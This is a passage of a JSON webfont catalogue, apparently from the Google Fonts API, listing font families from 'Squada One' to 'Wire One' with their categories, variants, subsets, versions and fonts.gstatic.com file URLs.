  },
  {
   "kind": "webfonts#webfont",
   "family": "Squada One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/squadaone/v5/3tzGuaJdD65cZVgfQzN8uvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Stalemate",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/stalemate/v4/wQLCnG0qB6mOu2Wit2dt_w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Stalinist One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/stalinistone/v6/ltOD4Zj3WJDXYjAIR-9vZojjx0o0jr6fNXxPgYh_a8Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Stardos Stencil",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/stardosstencil/v6/ygEOyTW9a6u4fi4OXEZeTFf2eT4jUldwg_9fgfY_tHc.ttf",
    "700": "http://fonts.gstatic.com/s/stardosstencil/v6/h4ExtgvoXhPtv9Ieqd-XC81wDCbBgmIo8UyjIhmkeSM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Stint Ultra Condensed",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/stintultracondensed/v5/8DqLK6-YSClFZt3u3EgOUYelbRYnLTTQA1Z5cVLnsI4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Stint Ultra Expanded",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/stintultraexpanded/v4/FeigX-wDDgHMCKuhekhedQ7dxr0N5HY0cZKknTIL6n4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Stoke",
   "category": "serif",
   "variants": [
    "300",
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/stoke/v6/Sell9475FOS8jUqQsfFsUQ.ttf",
    "regular": "http://fonts.gstatic.com/s/stoke/v6/A7qJNoqOm2d6o1E6e0yUFg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Strait",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/strait/v4/m4W73ViNmProETY2ybc-Bg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sue Ellen Francisco",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sueellenfrancisco/v7/TwHX4vSxMUnJUdEz1JIgrhzazJzPVbGl8jnf1tisRz4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Sunshiney",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/sunshiney/v6/kaWOb4pGbwNijM7CkxK1sQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Supermercado One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/supermercadoone/v6/kMGPVTNFiFEp1U274uBMb4mm5hmSKNFf3C5YoMa-lrM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Suwannaphum",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v9",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/suwannaphum/v9/1jIPOyXied3T79GCnSlCN6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Swanky and Moo Moo",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/swankyandmoomoo/v6/orVNZ9kDeE3lWp3U3YELu9DVLKqNC3_XMNHhr8S94FU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Syncopate",
   "category": "sans-serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/syncopate/v6/RQVwO52fAH6MI764EcaYtw.ttf",
    "700": "http://fonts.gstatic.com/s/syncopate/v6/S5z8ixiOoC4WJ1im6jAlYC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Tangerine",
   "category": "handwriting",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tangerine/v6/DTPeM3IROhnkz7aYG2a9sA.ttf",
    "700": "http://fonts.gstatic.com/s/tangerine/v6/UkFsr-RwJB_d2l9fIWsx3i3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Taprom",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/taprom/v8/-KByU3BaUsyIvQs79qFObg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Tauri",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tauri/v4/XIWeYJDXNqiVNej0zEqtGg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Teko",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/teko/v5/OobFGE9eo24rcBpN6zXDaQ.ttf",
    "regular": "http://fonts.gstatic.com/s/teko/v5/UtekqODEqZXSN2L-njejpA.ttf",
    "500": "http://fonts.gstatic.com/s/teko/v5/FQ0duU7gWM4cSaImOfAjBA.ttf",
    "600": "http://fonts.gstatic.com/s/teko/v5/QDx_i8H-TZ1IK1JEVrqwEQ.ttf",
    "700": "http://fonts.gstatic.com/s/teko/v5/xKfTxe_SWpH4xU75vmvylA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Telex",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/telex/v4/24-3xP9ywYeHOcFU3iGk8A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Tenor Sans",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tenorsans/v7/dUBulmjNJJInvK5vL7O9yfesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Text Me One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/textmeone/v4/9em_3ckd_P5PQkP4aDyDLqCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "The Girl Next Door",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/thegirlnextdoor/v7/cWRA4JVGeEcHGcPl5hmX7kzo0nFFoM60ux_D9BUymX4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Tienne",
   "category": "serif",
   "variants": [
    "regular",
    "700",
    "900"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tienne/v8/-IIfDl701C0z7-fy2kmGvA.ttf",
    "700": "http://fonts.gstatic.com/s/tienne/v8/JvoCDOlyOSEyYGRwCyfs3g.ttf",
    "900": "http://fonts.gstatic.com/s/tienne/v8/FBano5T521OWexj2iRYLMw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Tinos",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "vietnamese",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tinos/v8/EqpUbkVmutfwZ0PjpoGwCg.ttf",
    "italic": "http://fonts.gstatic.com/s/tinos/v8/slfyzlasCr9vTsaP4lUh9A.ttf",
    "700": "http://fonts.gstatic.com/s/tinos/v8/vHXfhX8jZuQruowfon93yQ.ttf",
    "700italic": "http://fonts.gstatic.com/s/tinos/v8/M6kfzvDMM0CdxdraoFpG6vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Titan One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/titanone/v4/FbvpRvzfV_oipS0De3iAZg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Titillium Web",
   "category": "sans-serif",
   "variants": [
    "200",
    "200italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "600",
    "600italic",
    "700",
    "700italic",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "200": "http://fonts.gstatic.com/s/titilliumweb/v4/anMUvcNT0H1YN4FII8wprzOdCrLccoxq42eaxM802O0.ttf",
    "200italic": "http://fonts.gstatic.com/s/titilliumweb/v4/RZunN20OBmkvrU7sA4GPPj4N98U-66ThNJvtgddRfBE.ttf",
    "300": "http://fonts.gstatic.com/s/titilliumweb/v4/anMUvcNT0H1YN4FII8wpr9ZAkYT8DuUZELiKLwMGWAo.ttf",
    "300italic": "http://fonts.gstatic.com/s/titilliumweb/v4/RZunN20OBmkvrU7sA4GPPrfzCkqg7ORZlRf2cc4mXu8.ttf",
    "regular": "http://fonts.gstatic.com/s/titilliumweb/v4/7XUFZ5tgS-tD6QamInJTcTyagQBwYgYywpS70xNq8SQ.ttf",
    "italic": "http://fonts.gstatic.com/s/titilliumweb/v4/r9OmwyQxrgzUAhaLET_KO-ixohbIP6lHkU-1Mgq95cY.ttf",
    "600": "http://fonts.gstatic.com/s/titilliumweb/v4/anMUvcNT0H1YN4FII8wpr28K9dEd5Ue-HTQrlA7E2xQ.ttf",
    "600italic": "http://fonts.gstatic.com/s/titilliumweb/v4/RZunN20OBmkvrU7sA4GPPgOhzTSndyK8UWja2yJjKLc.ttf",
    "700": "http://fonts.gstatic.com/s/titilliumweb/v4/anMUvcNT0H1YN4FII8wpr2-6tpSbB9YhmWtmd1_gi_U.ttf",
    "700italic": "http://fonts.gstatic.com/s/titilliumweb/v4/RZunN20OBmkvrU7sA4GPPio3LEw-4MM8Ao2j9wPOfpw.ttf",
    "900": "http://fonts.gstatic.com/s/titilliumweb/v4/anMUvcNT0H1YN4FII8wpr7L0GmZLri-m-nfoo0Vul4Y.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Trade Winds",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tradewinds/v5/sDOCVgAxw6PEUi2xdMsoDaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Trocchi",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/trocchi/v4/uldNPaKrUGVeGCVsmacLwA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Trochut",
   "category": "display",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/trochut/v4/6Y65B0x-2JsnYt16OH5omw.ttf",
    "italic": "http://fonts.gstatic.com/s/trochut/v4/pczUwr4ZFvC79TgNO5cZng.ttf",
    "700": "http://fonts.gstatic.com/s/trochut/v4/lWqNOv6ISR8ehNzGLFLnJ_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Trykker",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/trykker/v5/YiVrVJpBFN7I1l_CWk6yYQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Tulpen One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/tulpenone/v6/lwcTfVIEVxpZLZlWzR5baPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ubuntu",
   "category": "sans-serif",
   "variants": [
    "300",
    "300italic",
    "regular",
    "italic",
    "500",
    "500italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/ubuntu/v7/7-wH0j2QCTHKgp7vLh9-sQ.ttf",
    "300italic": "http://fonts.gstatic.com/s/ubuntu/v7/j-TYDdXcC_eQzhhp386SjaCWcynf_cDxXwCLxiixG1c.ttf",
    "regular": "http://fonts.gstatic.com/s/ubuntu/v7/lhhB5ZCwEkBRbHMSnYuKyA.ttf",
    "italic": "http://fonts.gstatic.com/s/ubuntu/v7/b9hP8wd30SygxZjGGk4DCQ.ttf",
    "500": "http://fonts.gstatic.com/s/ubuntu/v7/bMbHEMwSUmkzcK2x_74QbA.ttf",
    "500italic": "http://fonts.gstatic.com/s/ubuntu/v7/NWdMogIO7U6AtEM4dDdf_aCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/ubuntu/v7/B7BtHjNYwAp3HgLNagENOQ.ttf",
    "700italic": "http://fonts.gstatic.com/s/ubuntu/v7/pqisLQoeO9YTDCNnlQ9bf6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ubuntu Condensed",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "greek-ext",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ubuntucondensed/v6/DBCt-NXN57MTAFjitYxdrKDbm6fPDOZJsR8PmdG62gY.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ubuntu Mono",
   "category": "monospace",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "greek-ext",
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ubuntumono/v6/EgeuS9OtEmA0y_JRo03MQaCWcynf_cDxXwCLxiixG1c.ttf",
    "italic": "http://fonts.gstatic.com/s/ubuntumono/v6/KAKuHXAHZOeECOWAHsRKA0eOrDcLawS7-ssYqLr2Xp4.ttf",
    "700": "http://fonts.gstatic.com/s/ubuntumono/v6/ceqTZGKHipo8pJj4molytne1Pd76Vl7zRpE7NLJQ7XU.ttf",
    "700italic": "http://fonts.gstatic.com/s/ubuntumono/v6/n_d8tv_JOIiYyMXR4eaV9c_zJjSACmk0BRPxQqhnNLU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Ultra",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/ultra/v8/OW8uXkOstRADuhEmGOFQLA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Uncial Antiqua",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/uncialantiqua/v4/F-leefDiFwQXsyd6eaSllqrFJ4O13IHVxZbM6yoslpo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Underdog",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/underdog/v5/gBv9yjez_-5PnTprHWq0ig.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Unica One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/unicaone/v4/KbYKlhWMDpatWViqDkNQgA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "UnifrakturCook",
   "category": "display",
   "variants": [
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "700": "http://fonts.gstatic.com/s/unifrakturcook/v8/ASwh69ykD8iaoYijVEU6RrWZkcsCTHKV51zmcUsafQ0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "UnifrakturMaguntia",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/unifrakturmaguntia/v7/7KWy3ymCVR_xfAvvcIXm3-kdNg30GQauG_DE-tMYtWk.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Unkempt",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/unkempt/v7/NLLBeNSspr0RGs71R5LHWA.ttf",
    "700": "http://fonts.gstatic.com/s/unkempt/v7/V7H-GCl9bgwGwqFqTTgDHvesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Unlock",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/unlock/v6/rXEQzK7uIAlhoyoAEiMy1w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Unna",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/unna/v8/UAS0AM7AmbdCNY_80xyAZQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "VT323",
   "category": "monospace",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vt323/v7/ITU2YQfM073o1iYK3nSOmQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Vampiro One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vampiroone/v6/OVDs4gY4WpS5u3Qd1gXRW6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Varela",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/varela/v7/ON7qs0cKUUixhhDFXlZUjw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Varela Round",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/varelaround/v6/APH4jr0uSos5wiut5cpjri3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Vast Shadow",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vastshadow/v6/io4hqKX3ibiqQQjYfW0-h6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Vesper Libre",
   "category": "serif",
   "variants": [
    "regular",
    "500",
    "700",
    "900"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vesperlibre/v5/Cg-TeZFsqV8BaOcoVwzu2C3USBnSvpkopQaUR-2r7iU.ttf",
    "500": "http://fonts.gstatic.com/s/vesperlibre/v5/0liLgNkygqH6EOtsVjZDsZMQuUSAwdHsY8ov_6tk1oA.ttf",
    "700": "http://fonts.gstatic.com/s/vesperlibre/v5/0liLgNkygqH6EOtsVjZDsUD2ttfZwueP-QU272T9-k4.ttf",
    "900": "http://fonts.gstatic.com/s/vesperlibre/v5/0liLgNkygqH6EOtsVjZDsaObDOjC3UL77puoeHsE3fw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Vibur",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vibur/v7/xB9aKsUbJo68XP0bAg2iLw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Vidaloka",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vidaloka/v8/C6Nul0ogKUWkx356rrt9RA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Viga",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/viga/v5/uD87gDbhS7frHLX4uL6agg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Voces",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/voces/v4/QoBH6g6yKgNIgvL8A2aE2Q.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Volkhov",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/volkhov/v8/MDIZAofe1T_J3un5Kgo8zg.ttf",
    "italic": "http://fonts.gstatic.com/s/volkhov/v8/1rTjmztKEpbkKH06JwF8Yw.ttf",
    "700": "http://fonts.gstatic.com/s/volkhov/v8/L8PbKS-kEoLHm7nP--NCzPesZW2xOQ-xsNqO47m55DA.ttf",
    "700italic": "http://fonts.gstatic.com/s/volkhov/v8/W6oG0QDDjCgj0gmsHE520C3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Vollkorn",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/vollkorn/v6/IiexqYAeh8uII223thYx3w.ttf",
    "italic": "http://fonts.gstatic.com/s/vollkorn/v6/UuIzosgR1ovBhJFdwVp3fvesZW2xOQ-xsNqO47m55DA.ttf",
    "700": "http://fonts.gstatic.com/s/vollkorn/v6/gOwQjJVGXlDOONC12hVoBqCWcynf_cDxXwCLxiixG1c.ttf",
    "700italic": "http://fonts.gstatic.com/s/vollkorn/v6/KNiAlx6phRqXCwnZZG51JAJKKGfqHaYFsRG-T3ceEVo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Voltaire",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/voltaire/v6/WvqBzaGEBbRV-hrahwO2cA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Waiting for the Sunrise",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/waitingforthesunrise/v7/eNfH7kLpF1PZWpsetF-ha9TChrNgrDiT3Zy6yGf3FnM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Wallpoet",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/wallpoet/v7/hmum4WuBN4A0Z_7367NDIg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Walter Turncoat",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/walterturncoat/v6/sG9su5g4GXy1KP73cU3hvQplL2YwNeota48DxFlGDUo.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Warnes",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/warnes/v6/MXG7_Phj4YpzAXxKGItuBw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Wellfleet",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/wellfleet/v4/J5tOx72iFRPgHYpbK9J4XQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Wendy One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/wendyone/v4/R8CJT2oDXdMk_ZtuHTxoxw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Wire One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
